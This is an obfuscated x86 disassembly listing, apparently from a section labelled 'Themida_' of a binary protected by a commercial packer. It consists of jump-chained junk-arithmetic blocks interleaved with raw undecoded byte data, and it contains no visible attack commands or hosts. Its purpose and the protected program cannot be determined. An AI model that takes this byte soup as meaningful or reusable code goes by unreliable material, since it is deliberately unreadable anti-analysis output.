loc_560FE6:				; CODE XREF: Themida_:00562E99j
		add	edi, 73E6B7FFh
		xor	eax, edi
		jmp	loc_56562D
; ---------------------------------------------------------------------------
		db 0F6h
aAcls		db '߀ç‹éš',0Ah,0
		db 0
; ---------------------------------------------------------------------------

loc_560FFD:				; CODE XREF: Themida_:00562570j
		push	1897h
		mov	[esp], esi
		jmp	loc_55B012
; ---------------------------------------------------------------------------

loc_56100A:				; CODE XREF: Themida_:00554E21j
		sub	esp, 4
		mov	[esp], eax
		xchg	ebx, [esp]
		push	3791h
		mov	[esp], ebx
		jmp	loc_55AD61
; ---------------------------------------------------------------------------
byte_561023	db 8Bh			; DATA XREF: Themida_:0054FF8Co
		dd 0EC832414h, 24148904h, 24148B54h, 64E9h, 0EFC15E00h
		dd 1C78104h, 81000000h,	798F4AC7h, 53BF57F8h, 47009E0Dh
		dd 18A6C781h, 0C7813CDFh, 35C63A27h, 3266E9h, 242C8700h
		dd 0FFEC8DE9h, 3E2668FFh, 14890000h, 0E7895724h, 4B951h
		dd 3AE90000h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56107B:				; CODE XREF: Themida_:00564934j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55DBD7
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 6Ah
		dd 29DB39A3h, 515859CBh, 0FFE450E9h, 4C483FFh, 4C281h
		dd 0A9680000h, 89000070h, 0EC83241Ch, 24348904h, 1808A768h
		dd 5DBB5E28h, 1D7E7F7h,	0C2815EF3h, 69601732h, 56E9DA01h
		dd 52FFFEFAh, 9BE9D4B2h
		db 29h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5610D3:				; CODE XREF: Themida_:0055CE8Cj
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_556BEC
; ---------------------------------------------------------------------------
		dw 0E831h
		dd 0FFD2DBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5610F1:				; CODE XREF: Themida_:005564D6j
		push	eax
		mov	ah, 75h
		and	ah, 64h
		jmp	loc_5519CE
; ---------------------------------------------------------------------------
		dd 81243C8Bh, 4C4h, 2D50E900h, 575A0000h, 0BC5666BFh, 0CAC7813Ah
		dd 815BCA1Bh, 694A77CFh, 0A4EF812Dh, 0E9A4634Fh, 0FFFF528Ch
		dd 43D0C281h, 82E908F5h, 2D000033h, 6F1B5C1Fh, 23306856h
		dd 0D7E91120h, 56FFFF60h, 5E2B68h, 243C8900h, 0D0793EBFh
		dd 5FFE8959h, 0BA524Eh,	29000000h, 4D3BE9F2h, 0C528FFFFh
		dd 0E4C58058h, 0C59E888h, 0E96B04E9h, 0FFFF2731h, 3AD4E959h
		dd 0C820FFFFh, 2ACD6859h, 1C890000h, 73E95724h,	50FFFF98h
		dd 0C67548B8h, 3A80D4Ah, 0E8D10E48h, 2930CD0Dh,	2E0C11Dh
		dd 0BCEFF02Dh, 58C629FDh, 8B243487h, 0C892424h,	0E5685324h
		dd 5B336816h, 0F706EBC1h, 0BE5643D3h, 0FF325FA3h, 4AE9F329h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5611CB:				; CODE XREF: Themida_:0055063Fj
		mov	[esp], ecx
		mov	ecx, 6D7F53BAh
		push	0
		jmp	loc_553FCB
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 50000000h, 6855E089h, 11F2h,	56243C89h, 0D1C3FBEh, 6998E904h
		dd 0E957FFFFh, 0FFFF1DD3h, 5758C521h, 2E5FE9h, 0CEBD5500h
		dd 55117A3Eh, 0E1815D59h, 539544CAh, 30BFC981h,	6CE933E7h
		dd 31FFFFDDh, 0E9015EF5h, 240C875Dh, 0FF773CE9h, 0C8B66FFh
		dd 0DEDE924h, 0D3090000h, 0E924148Bh, 0FFFF7D4Bh, 0E6E9B9B3h
		db 3Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56124B:				; CODE XREF: Themida_:0055EE32j
		not	edi
		sub	edi, 0B9EF8F3Ch
		jmp	loc_561EC0
; ---------------------------------------------------------------------------

loc_561258:				; CODE XREF: Themida_:00563269j
		sub	edx, edi
		pop	edi
		add	edx, esi
		jmp	loc_56078A
; ---------------------------------------------------------------------------
		dw 0CA2Dh
		dd 14A3F0Dh, 0EC8358C2h, 240C8904h, 0FFBBDDE9h,	5EDC1FFh
		dd 724F581h, 0F5817AB2h, 37097D0Ch, 78DFC581h, 0EF09D6F4h
		dd 0DCE9565Dh
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561293:				; CODE XREF: Themida_:00554824j
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	7639h
		jmp	loc_555E20
; ---------------------------------------------------------------------------
		db 5
		dd 4, 405h, 24048700h, 220BE9h,	242C8100h, 12BC00AAh, 81240429h
		dd 0AA2404h, 895012BCh,	405E0h,	42D0000h, 50000000h, 42474FFh
		dd 24048F58h, 0FFC2F8E9h, 5E089FFh, 4, 42Dh, 24048700h
		dd 11C5E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56130A:				; CODE XREF: Themida_:0055F8C7j
		pop	edi
		add	edi, 7FED408Ah
		sub	esp, 4
		jmp	loc_5561C9
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 4, 875FFE01h, 79E92434h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56132F:				; CODE XREF: Themida_:00550362j
		pop	ebp
		push	1382h
		mov	[esp], esi
		push	0E7421Bh
		pop	esi
		sub	esi, 246153EAh
		push	edx
		mov	edx, 113C418Ch
		jmp	loc_55E01C
; ---------------------------------------------------------------------------
		db 89h
		dd 0B753240Ch, 0C1BDE928h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56135A:				; CODE XREF: Themida_:005636E5j
		pop	eax
		jmp	loc_55CAB5
; ---------------------------------------------------------------------------
		dd 0C68EED81h, 0C78190CBh, 44800F57h, 294DEF81h, 0EF014974h
		dd 294DC781h, 0EF814974h, 44800F57h, 52242C8Bh,	0C2815A54h
		dd 4, 8704C283h, 15C2414h, 10685FFDh, 0E9000026h, 0FFFF0841h
dword_5613A0	dd 0E9D831ADh, 0FFFFBB8Ch, 929CBA52h, 0D1310BCBh, 8124148Bh
					; DATA XREF: Themida_:0054FE34o
		dd 4C4h, 59CF2900h, 0FFF355E9h,	9DBB53FFh, 8163F119h, 0E3308EE3h
		dd 0E59DE976h, 0EF81FFFFh, 2C826E07h, 0FEF193E9h, 61505FFh
		dd 0E7E93D33h, 5EFFFF27h, 0FFCA2DE9h, 242489FFh, 4240483h
		dd 4C3815Bh, 50000000h,	4B8h, 58C32900h, 5C241C87h, 0B8240489h
		dd 2BFB0E25h, 48B5F50h,	4E685524h, 8900007Dh, 4812424h
		dd 424h, 242C8B00h, 4C481h, 0E9530000h,	0FFFF3EF5h, 6858C289h
		dd 3094h, 52240489h, 6E1649BAh,	5AD0890Eh, 265EBE56h, 0D6F74B1Fh
		dd 0AB52EE81h, 0B9E953A6h, 81FFFF57h, 910375F6h, 71306868h
		dd 14890000h, 3796BA24h, 0C28172BBh, 47614DF3h,	240DBF57h
		dd 0D7F7649Dh, 10DBD55h, 0EF011359h, 7EF815Dh, 311B6D46h
		dd 0D6315FFAh, 5324148Bh, 0C381E389h, 4, 0ECDE9h
		db 0
; ---------------------------------------------------------------------------

loc_5614A1:				; CODE XREF: Themida_:0055C52Dj
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	1268h
		jmp	loc_551379
; ---------------------------------------------------------------------------
		dd 8704EB83h, 248B241Ch, 24148924h, 0A22C9C68h,	24E95A31h
		db 22h,	2 dup(0)
byte_5614CB	db 66h			; DATA XREF: Themida_:0054FDF0o
		dd 5724048Bh, 97E9E789h, 5EFFFF05h, 4EC81h, 4890000h, 4BA5224h
		dd 89000000h, 0C3815AD0h, 7CBE49D2h, 1608C381h,	0C30128FDh
		dd 3918B850h, 0FF0562CCh, 35FFFFFFh, 0ACC4CB0h,	0AE0DD8F7h
		dd 2D17AA3Eh, 44D90BC1h, 0D662CA05h, 58C329D5h,	2497E9h
		db 0
; ---------------------------------------------------------------------------

loc_561521:				; CODE XREF: Themida_:005540DCj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		pop	esi
		jmp	loc_5566E3
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835824h, 0FFC60104h, 0D4E92434h, 5EFFFF73h, 2474315Ah
		dd 0E95B5E04h, 3E0Ch
; ---------------------------------------------------------------------------

loc_561550:				; CODE XREF: Themida_:00553151j
		push	edx
		mov	edx, 1BA87E30h
		push	esi
		push	edi
		mov	edi, 6D6A3766h
		jmp	loc_556200
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 5E3E4A2Dh, 24148B37h, 2939E9h, 2BF5700h, 1000000h, 32B0E9FEh
		dd 0F7810000h, 374921E9h, 0DAA4F781h, 0F801E8EEh, 0AA3AE95Fh
		dd 815AFFFFh, 1EEh, 3EF68100h, 816CB41Eh, 3472BCC5h, 3972E937h
		dd 248BFFFFh, 68555324h, 48DF3AE2h, 0CD814D5Dh,	7ECE32A5h
		dd 0E904E5C1h, 0FFFEEF06h
; ---------------------------------------------------------------------------

loc_5615C4:				; CODE XREF: Themida_:0055E81Dj
		mov	[esp], ebx
		push	67FDh
		jmp	loc_56201A
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 6Fh
		dd 811C4D70h, 362F46EDh, 81FD2971h, 362F46C5h, 0A22E971h
		dd 0C2810000h, 4, 77F2BB53h, 0EC813AC3h, 4, 0BA241489h
		dd 1, 0FF3CB0E9h, 2EECB8FFh, 0C5891C22h, 81E5E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561616:				; CODE XREF: Themida_:00556120j
		sub	esp, 4
		mov	[esp], edx
		pop	ebp
		jmp	loc_55297E
; ---------------------------------------------------------------------------

loc_561625:				; CODE XREF: Themida_:00554F81j
		pop	ebp
		push	ebx
		mov	ebx, 0
		sub	ebx, edi
		mov	edi, ebx
		pop	ebx
		jmp	loc_5631D2
; ---------------------------------------------------------------------------
		dw 0D2F6h
		dd 80BEEA80h, 885168F2h, 0E9D5F6D5h, 0FFFF26DDh
; ---------------------------------------------------------------------------

loc_561648:				; CODE XREF: Themida_:00552BA7j
		add	edx, 4
		push	7D39h
		jmp	loc_55C327
; ---------------------------------------------------------------------------
		dd 5FB5F181h, 17E9AED2h, 56FFFF0Bh, 0C7FEFFBEh,	5EF03104h
		dd 3273E9h, 24248900h, 4BD55h, 6C010000h, 595D0424h, 0FF2CD4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561685:				; CODE XREF: Themida_:00556A40j
		movsx	ecx, ax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56418D
; ---------------------------------------------------------------------------
aAH		db '´í±h',0
		db 0E1h
		dd 75B65258h, 0CE9DFB3h, 5000003Eh, 42474FFh, 8324048Bh
		dd 0D9E904C4h, 59FFFF25h, 5E7C14Fh, 0C781D7F7h,	96C59BBAh
		dd 2241E9h, 682CBD00h, 0E8895C6Ah, 0FF39C0E9h
		db 0FFh
byte_5616D5	db 68h,	0D7h, 60h	; DATA XREF: Themida_:0054FED0o
		dd 14890000h, 0E9B5E924h, 0EDC0FFFEh, 84ED8003h, 0E950EB80h
		dd 0FFFF1990h
; ---------------------------------------------------------------------------

loc_5616F0:				; CODE XREF: Themida_:00554F2Ej
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5644F6
; ---------------------------------------------------------------------------
		dw 875Dh
		dd 5EE92434h, 2DFFFF10h, 19796C54h, 0D089DB35h,	0E9C1291Ch
		dd 0F90h, 2251EE81h, 0EE810DCEh, 6C9D2381h, 6D02B951h
		dd 0E9813DE6h, 7E011389h, 15B6E181h, 0E9814F27h, 29DF17F6h
		dd 2596E9h, 24343300h, 0FFE915E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561751:				; CODE XREF: Themida_:00553740j
		add	esp, 4
		add	ebx, 0D416CD89h
		mov	edx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 2B0A86D4h
		sub	edx, ebp
		pop	ebp
		jmp	loc_5608AA
; ---------------------------------------------------------------------------
		dw 8159h
		dd 0A45083F7h, 1E75E914h, 0E3810000h, 67C1186Bh, 3C77F381h
		dd 814B1D97h, 5A3CC2E3h, 5A545256h, 4C281h, 0EA810000h
		dd 4, 31241433h, 69E92414h, 5B000032h, 8904EC83h, 0FEE9243Ch
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5617B3:				; CODE XREF: Themida_:0055425Cj
		pop	edx
		shl	cl, 1
		shl	cl, 1
		push	edx
		mov	dh, 9
		add	cl, dh
		pop	edx
		dec	cl
		sub	cl, 33h
		jmp	loc_551B87
; ---------------------------------------------------------------------------
		dd 3F01EB81h, 0D9898D74h, 81BA525Bh, 891CD23Fh,	0C5815AD5h
		dd 7204983h, 0FF57AAE9h, 24148BFFh, 4C481h, 0EC830000h
		dd 1C6FE904h, 0E9500000h, 3B12h, 0FEE896E9h, 0E9D909FFh
		dd 0FFFFC87Bh
; ---------------------------------------------------------------------------

loc_561808:				; CODE XREF: Themida_:005589E8j
		xor	esi, eax
		xor	eax, esi
		jmp	loc_554866
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 9Fh
		dd 5E26E80Ah, 7D68C301h, 89000070h, 0C5BA2414h,	29335229h
		dd 0EB815AD3h, 5C4B4CF5h, 0B60F66h, 0FF5163E9h,	0C8966FFh
		dd 1A73E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561842:				; CODE XREF: Themida_:0055E6BCj
		push	1FF2h
		mov	[esp], edi
		jmp	loc_557878
; ---------------------------------------------------------------------------
a5s		db '²5é·<',0
		align 2
word_561856	dw 8B66h		; DATA XREF: Themida_:0054FE64o
		dd 0E3682404h, 0E9000048h, 0FFFF4FB0h, 0E924048Fh, 0FFFF8119h
; ---------------------------------------------------------------------------

loc_56186C:				; CODE XREF: Themida_:005529EFj
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_557E3A
; ---------------------------------------------------------------------------
		dd 57B68h, 24248900h, 0FF0892E9h, 242C89FFh, 1FEDE9h
		db 0
; ---------------------------------------------------------------------------

loc_5618A1:				; CODE XREF: Themida_:005594ECj
		push	5EF8h
		mov	[esp], edi
		push	ebx
		mov	ebx, 41C7148h
		mov	edi, ebx
		jmp	loc_560B93
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 2221F281h, 0FDE906F7h
		db 39h,	2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edx
		mov	dh, 79h
		push	eax
		mov	al, 95h
		dec	al
		not	al
		and	al, 29h
		add	al, 0A5h
		or	dh, al
		pop	eax
		inc	dh
		push	ecx
		mov	cl, 0A2h
		add	dh, cl
		pop	ecx
		sub	bl, dh
		jmp	loc_560031
; ---------------------------------------------------------------------------

loc_5618F6:				; CODE XREF: Themida_:005572E6j
		dec	eax
		not	eax
		sub	eax, 542C8C3Dh
		jmp	loc_55557B
; ---------------------------------------------------------------------------
byte_561903	db 0FFh			; DATA XREF: Themida_:0054FDDCo
		dd 34FF2434h, 2434FF24h, 0FFD591E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561911:				; CODE XREF: Themida_:00562495j
		mov	ebx, [esp]
		add	esp, 4
		pop	ecx
		xor	[esp+4], ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_550AEC
; ---------------------------------------------------------------------------

loc_561928:				; CODE XREF: Themida_:0055684Fj
		add	ecx, 4
		jmp	loc_55C35E
; ---------------------------------------------------------------------------
dword_561930	dd 24048B66h, 0FFBD98E9h, 240C8BFFh, 2643E9h ; DATA XREF: Themida_:0054FF4Co
		db 0
; ---------------------------------------------------------------------------

loc_561941:				; CODE XREF: Themida_:00558E7Fj
		mov	ebx, [esp]
		add	esp, 4
		push	15FAh
		mov	[esp], ebp
		jmp	loc_5649BA
; ---------------------------------------------------------------------------

loc_561954:				; CODE XREF: Themida_:00564686j
		not	ebp
		jmp	loc_554182
; ---------------------------------------------------------------------------
		db 5Dh
		dd 6C6AC181h, 0BE56748Fh, 0D12F78E3h, 0FEE783E9h
		db 0FFh
byte_56196D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0054FFE8o
		dd 4EC8124h, 0E9000000h, 1A1Eh,	4C681h,	0EE830000h, 24348704h
		dd 0F39EE95Ch, 0EFC0FFFFh, 0E2C78007h, 0E7C0D7F6h, 48B55104h
		dd 80A9C580h, 0ED8060CDh, 59EF2844h, 0E95BFA28h, 0FFFF42D5h
		dd 4C281h, 0C2810000h, 4, 0FF062FE9h, 0E9F829FFh, 62h
		dd 0C15DEA31h, 0F28108E2h, 0C169912Eh, 0BAE9D009h
		db 0E7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5619DB:				; CODE XREF: Themida_:00550610j
		mov	[esp], edx
		jmp	loc_564F63
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24348900h, 392AE9h, 4E98300h, 0FFC9DAE9h, 39C381FFh
		dd 8B3EC818h, 0C481240Ch, 4, 687C68h, 241C8900h, 42474FFh
		dd 24048F5Bh, 6424248Bh, 74E90288h, 0F7FFFEE6h,	22A1E9D8h
		dd 575F0000h, 0D457E068h, 0F8295F20h, 3986E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_561A3A:				; CODE XREF: Themida_:005645D4j
		shl	edx, 1
		sub	esp, 4
		mov	[esp], eax
		push	43D1h
		mov	[esp], ebx
		mov	ebx, 2E9F53D9h
		or	ebx, 59504BA8h
		push	edx
		mov	edx, 74F46D82h
		add	ebx, 69BD1DA0h
		add	ebx, edx
		sub	esp, 4
		jmp	loc_564ADA
; ---------------------------------------------------------------------------
		db 68h
		dd 71CB35F7h, 98EA815Ah, 573A0A7Ah, 96364568h, 56E95F65h
		dd 29FFFF8Fh, 0DF015AD3h, 4C7835Bh, 8B243C87h, 44E92424h
		dd 80FFFF50h, 0F78089C7h, 5BF8304Dh, 0FFB40BE9h, 2C8759FFh
		dd 14895C24h, 0E99C5024h, 0FFFEE5E3h, 0A7AFF781h, 0FE89DD00h
		dd 5EF3015Fh, 2206BF57h, 0FB2129BFh, 54C3815Fh,	0E9084523h
		dd 0FFFF02DAh, 68243489h, 6BFAh, 0E9241C89h, 0FFFFE5A0h
		dd 55E38953h, 1F05B3BDh, 0E9E5D156h, 0FFFF87E7h
; ---------------------------------------------------------------------------

loc_561AF4:				; CODE XREF: Themida_:00558CF1j
		mov	[esp], ebp
		jmp	loc_5515F2
; ---------------------------------------------------------------------------
		dd 0B8505B54h, 4, 8358C301h, 0E95304C3h, 0FFFF1D0Ch, 1CA768h
		dd 24348900h, 99327868h, 814E5E04h, 5E4926F6h, 5EF2893Ah
		dd 0FF0EAEE9h, 242C33FFh, 0E9242C31h, 0FFFF2FCCh, 4EB8159h
		dd 87000000h, 248B241Ch, 243C8924h, 70685051h, 581F7C0Eh
		dd 0F9210548h, 0C1892526h, 762E958h, 248BFFFFh,	57505624h
		dd 0AE0A59BFh, 247C315Dh, 505E5F04h, 11685553h,	5D709323h
		dd 0F704E5C1h, 5B7E9D5h, 4B80000h, 81000000h, 5B042444h
		dd 0E9270D7Bh, 0FFFF449Eh
dword_561B94	dd 9D1C77FFh, 1CD25966h, 0F4E99C24h ; DATA XREF: Themida_:00550020o
		db 0E4h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_561BA3:				; CODE XREF: Themida_:00562960j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_55AB6B
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 0E95B0000h, 3847h, 0E924248Bh, 0FFFF1AE9h
		dd 6EB55166h, 5966EC30h, 34FFE230h, 0C4835824h,	42F8E904h
		dd 0EB81FFFFh, 6F6F6E6Fh, 0A2E9FB01h, 89FFFFD7h, 0DABA2414h
		dd 0E94F6D54h, 0FFFF483Fh
; ---------------------------------------------------------------------------

loc_561C00:				; CODE XREF: Themida_:00554906j
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_550508
; ---------------------------------------------------------------------------

loc_561C0E:				; CODE XREF: Themida_:0055D304j
		mov	edx, esi
		pop	esi
		push	782Dh
		mov	[esp], esi
		mov	esi, 75BE24FBh
		jmp	loc_55906C
; ---------------------------------------------------------------------------
		db 53h
		dd 0FF2B99E9h
		db 0FFh
byte_561C29	db 68h,	0DBh, 29h	; DATA XREF: Themida_:0054FE44o
		dd 14890000h, 2396BA24h, 0F752593Bh, 0E95A2414h, 3A3Fh
		dd 0E904C483h, 0FFFF25B3h, 63BBE56h, 0EE8129EDh, 205F45ADh
		dd 0FF53C9E9h, 52E189FFh, 0A01838BAh, 34EA8164h, 8164A018h
		dd 0F27A51E9h, 0E9D1012Bh, 3554h, 4BB5359h, 1000000h, 39E95BDEh
		dd 5CFFFF3Fh, 0FF6FE5E9h, 51E689FFh, 0C181E189h, 4, 25F1E952h
		dd 0D2F60000h, 0E9F8C280h, 0FFFF53E0h, 81240C8Bh, 4C4h
		dd 5EF30100h, 4EC81h, 1C890000h, 2474FF24h, 48F5B04h, 0FF525C24h
		dd 5A042474h, 0FFC115E9h, 3EBF57FFh, 893CF238h,	0DAF75FFAh
		dd 8304EAC1h, 0E2C1FFC2h, 0E9505602h, 35F9h, 4BFh, 0CAE95500h
		dd 8B00001Bh, 0C4832434h, 0A591E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561CFE:				; CODE XREF: Themida_:00557A7Ej
		xor	ecx, 1FE74A59h
		mov	ebx, ecx
		pop	ecx
		add	ebx, edx
		mov	eax, [ebx]
		pop	ebx
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5620F4
; ---------------------------------------------------------------------------

loc_561D26:				; CODE XREF: Themida_:00556089j
		pop	eax
		add	eax, 4
		jmp	loc_55EBBA
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 242C895Ch, 0FF6F5AE9h
		db 0FFh
byte_561D3D	db 8Fh,	2, 0E9h		; DATA XREF: Themida_:0054FE74o
		dd 0FFFEE353h, 4AEC68h,	24248900h, 4240483h, 0E924348Bh
		dd 0FFFF3E01h, 5E08950h, 4, 0E904E883h,	0FFFF7564h, 0E9243C89h
		dd 0FFFFD668h, 58ED68h,	24248900h, 0FF8409E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561D7D:				; CODE XREF: Themida_:00553ED2j
		add	ebp, 2F9279FDh
		shl	ebp, 7
		shr	ebp, 8
		neg	ebp
		jmp	loc_554FEF
; ---------------------------------------------------------------------------
		dd 0C8B665Ch, 0A4685624h, 0E900006Fh, 0FFFF2BD3h, 0C181D9F7h
		dd 0BC471EEBh, 7DB8C781h, 8E945F8h, 8BFFFFC0h, 0D1872424h
		dd 19E9D2F7h, 8100000Ah, 8195C3h, 8BD901D1h, 0C483241Ch
		dd 0FC1FE904h, 425DFFFFh, 0FF1C79E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561DD9:				; CODE XREF: Themida_:00559635j
		push	edi
		jmp	loc_560F6C
; ---------------------------------------------------------------------------

loc_561DDF:				; CODE XREF: Themida_:005608E6j
		mov	eax, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	6F14h
		jmp	loc_55AA10
; ---------------------------------------------------------------------------
		db 88h,	0EFh, 0E9h
		dd 0FFFF2041h
; ---------------------------------------------------------------------------

loc_561DFC:				; CODE XREF: Themida_:00564DB1j
		mov	edi, esp
		jmp	loc_556402
; ---------------------------------------------------------------------------
		db 97h
		dd 0FFA006E9h, 0E2814AFFh, 56EF3BE5h, 0EC83DAF7h, 242C8904h
		dd 8F12EEBDh, 0A9ABE973h, 0D830FFFFh, 0AE95455h, 0BEFFFF92h
		dd 72E838C8h, 15EF001h,	38C82DD8h, 0E95572E8h, 3539h, 0C8BEB30h
		dd 1BE95624h
		db 1, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_561E4B:				; CODE XREF: Themida_:0055B2E1j
		add	esp, 4
		push	4797h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_564B3D
; ---------------------------------------------------------------------------
		dw 0EA89h
		dd 0FF9BE95Dh, 5058FFFFh, 0BF57E089h, 205804B7h, 68h, 0B4D8E900h
		dd 0C483FFFFh, 0E9506604h, 0FFFF09FFh, 4C4835Eh, 1868C681h
		dd 0F0892C37h, 0FFCC8CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561E9D:				; CODE XREF: Themida_:00550DCBj
		sub	esp, 4
		jmp	loc_55E1EB
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 66BE95Ch, 0EB29FFFFh, 241C335Dh, 33241C31h, 0E95C241Ch
		dd 0FFFF2E51h
; ---------------------------------------------------------------------------

loc_561EC0:				; CODE XREF: Themida_:00561253j
		add	eax, edi
		pop	edi
		push	ebx
		mov	ebx, 157C3417h
		or	eax, ebx
		jmp	loc_55C0A1
; ---------------------------------------------------------------------------

loc_561ED0:				; CODE XREF: Themida_:00562528j
		add	ebp, 0FFFFFFFFh
		neg	ebp
		jmp	loc_555569
; ---------------------------------------------------------------------------

loc_561EDD:				; CODE XREF: Themida_:00556BEFj
		mov	ebx, 0
		add	ebx, eax
		mov	[ebx], ch
		jmp	loc_559B68
; ---------------------------------------------------------------------------

loc_561EEB:				; CODE XREF: Themida_:0056443Fj
		sub	ebx, 1C97332Fh
		sub	ebx, 2BB1714Eh
		pop	eax
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_559772
; ---------------------------------------------------------------------------
		db 53h
		dd 0D71FAA68h, 0D9895B6Dh, 0FF807FE9h, 48F5DFFh, 24248B24h
		dd 89241489h, 946850E2h, 0E923181Ch, 0FFFF2B1Ah, 4C481h
		dd 0C1810000h, 79CE710Ah, 427B685Eh, 1C890000h,	0A115E924h
		dd 0EC81FFFFh, 4, 0FFFE0FE9h, 4875BFFh,	0C6815C24h, 4
		dd 454968h, 240C8900h, 0A260C1B9h, 0C5F1811Fh, 11FA260h
		dd 0FF5659CEh, 8B042474h, 0EC832434h, 243C8904h, 0FF64A6E9h
		dd 54FE05FFh, 148B1372h, 4C48324h, 0E9C58955h, 0FFFF58D0h
		dd 4C681h, 29E90000h
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561FAB:				; CODE XREF: Themida_:0055339Bj
		mov	[esp], ebx
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		add	edi, esi
		jmp	loc_55ECD6
; ---------------------------------------------------------------------------
		dw 5350h
		dd 0B75E8EBBh, 5BD8893Ch, 507E8C1h, 2EB8BDA9h, 3341EA81h
		dd 26E94A00h, 89FFFF63h, 0AFE9242Ch, 8BFFFF1Bh,	0E9532424h
		dd 0FFFEFBEAh, 0E9F22958h, 83Bh
; ---------------------------------------------------------------------------

loc_561FF4:				; CODE XREF: Themida_:00551AEEj
		push	ecx
		mov	ecx, 40A87596h
		jmp	loc_550391
; ---------------------------------------------------------------------------
		db 68h
		dd 18D8h, 0E9241C89h, 0FFFEF649h, 3EBE565Fh, 4666D227h
		dd 8CB5E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56201A:				; CODE XREF: Themida_:005615CCj
		mov	[esp], eax
		mov	eax, 20000h
		jmp	loc_553D1E
; ---------------------------------------------------------------------------
		db 68h
		dd 5D85h, 56241C89h, 0B850E689h, 266B15F3h, 0FF3BEFE9h
		dd 244401FFh, 246C8104h, 810DED04h, 0C8E95818h,	6600002Fh
		dd 8BE83058h, 0C483240Ch, 59686604h, 24E4E941h,	5F52FFFFh
		dd 8B5FF989h, 53E92414h, 68FFFFE4h, 9A2h, 54243489h, 4EC835Eh
		dd 0FF5027E9h, 48F5DFFh, 24248B24h, 0FFEC33E9h
		db 0FFh
byte_56208D	db 0FFh, 32h, 0E9h	; DATA XREF: Themida_:0054FFD0o
		dd 0FFFEE003h
; ---------------------------------------------------------------------------

loc_562094:				; CODE XREF: Themida_:0055A0DCj
		mov	esi, [esp]
		add	esp, 4
		sub	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_550D44
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_563DFC
; ---------------------------------------------------------------------------
		dw 0E7C0h
		dd 50F78006h, 8DE9FD88h, 30FFFF56h, 0D32859EAh,	0E924148Bh
		dd 0FFFFAD27h
; ---------------------------------------------------------------------------

loc_5620D8:				; CODE XREF: Themida_:00559D99j
		xor	ebp, esi
		jmp	loc_55AC10
; ---------------------------------------------------------------------------

loc_5620DF:				; CODE XREF: Themida_:005595AFj
		push	ecx
		mov	ecx, esp
		jmp	loc_563E4F
; ---------------------------------------------------------------------------
		db 80h
